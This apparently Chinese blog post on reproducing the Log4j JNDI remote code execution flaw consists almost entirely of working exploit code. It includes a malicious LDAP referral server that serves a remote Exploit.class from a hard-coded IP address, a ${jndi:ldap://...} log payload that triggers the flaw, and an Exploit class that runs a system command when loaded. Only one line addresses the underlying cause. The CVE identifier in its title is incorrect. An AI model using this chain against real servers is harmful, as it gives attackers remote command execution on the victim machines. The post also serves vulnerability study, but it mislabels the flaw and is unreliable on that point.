【Web】CVE-2021-22448 Log4j RCE漏洞学习

复现流程

漏洞原理

复现流程

启动HTTP->启动LDAP->执行Log4j

vps起个http服务,放好Exploit.class这个恶意字节码

LDAPRefServer作为恶意LDAP服务器

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import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://124.222.136.33:8888/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

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log4j客户端（被攻击者，即受害服务器）

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import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {
        // 先启动LDAP服务器
        logger.error("${jndi:ldap://127.0.0.1:7912/suibian}");

        // logger.error("${java:runtime} - ${java:vm} - ${java:os}");
    }
}

Exploit.class

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//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

成功RCE

vps接收到来自log4j客户端的请求

漏洞原理

log4j提供的lookup功能